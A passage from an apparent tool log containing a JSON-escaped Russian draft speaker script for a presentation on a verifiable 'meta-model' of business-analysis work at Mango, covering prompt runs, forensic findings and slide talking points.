\u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\",\n[2026-09-29T07:55:47.675Z] [INFO]     \"originalFile\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.3\\ntype: presentation\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0441\u0440\u0435\u0434\u044b \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430\\n\\n\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u043a\\n[\u0441\u043b\u0430\u0439\u0434\u0430\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u043d\u043e\u043c\u0435\u0440\u0430\u043c\u0438 \u0441\u043b\u0430\u0439\u0434\u043e\u0432. \u0422\u0435\u043a\u0441\u0442 \u0442\u0435\u0437\u0438\u0441\u043d\u044b\u0439: \u0435\u0433\u043e\\n\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u0430 \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442.\\n\\n## \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f\\n\\n- **\u0410\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f:** \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0415\u043c\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\\n  \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 LLM, \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 RAG. \u0415\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0435\u043c \u043f\u043e\u0434\u0445\u043e\u0434\\n  \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u00bb \u0438 \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- **\u0425\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436:** \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0438 10\u201315 \u043c\u0438\u043d\u0443\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n  \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440 \u043f\u043e \u0441\u043b\u0430\u0439\u0434\u0430\u043c \u2014 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435.\\n- **\u041e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043d\u0435\u0441\u0442\u0438 \u0441\u043b\u0443\u0448\u0430\u0442\u0435\u043b\u044c:** \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439\\n  \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\\n  \u0438 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438.\\n- **\u0422\u043e\u043d:** \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439. \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c. \u0422\u0430\u043c, \u0433\u0434\u0435\\n  \u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b, \u043e \u043d\u0451\u043c \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c: \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0430\u0439\u0434\u0451\u0442 \u0435\u0433\u043e\\n  \u0441\u0430\u043c, \u0438 \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u0434\u043e\u0432\u0435\u0440\u0438\u0435 \u043a \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u0447\u0438\u0441\u043b\u0430\u043c.\\n\\n### \u0427\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c\\n\\n- \u0427\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d end-to-end. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u2014\\n  \u043e\u0442 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u043e Release. \u0428\u0430\u0433\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b.\\n- \u0427\u0442\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts` \u2014 \u0431\u0435\u043d\u0447\u043c\u0430\u0440\u043a. \u041e\u043d\u0438\\n  \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0438 \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u0445. \u0420\u0430\u0437\u0431\u043e\u0440 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443.\\n- \u0427\u0442\u043e \u0421\u0440\u0435\u0434\u0430 4 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 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\u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 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\u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 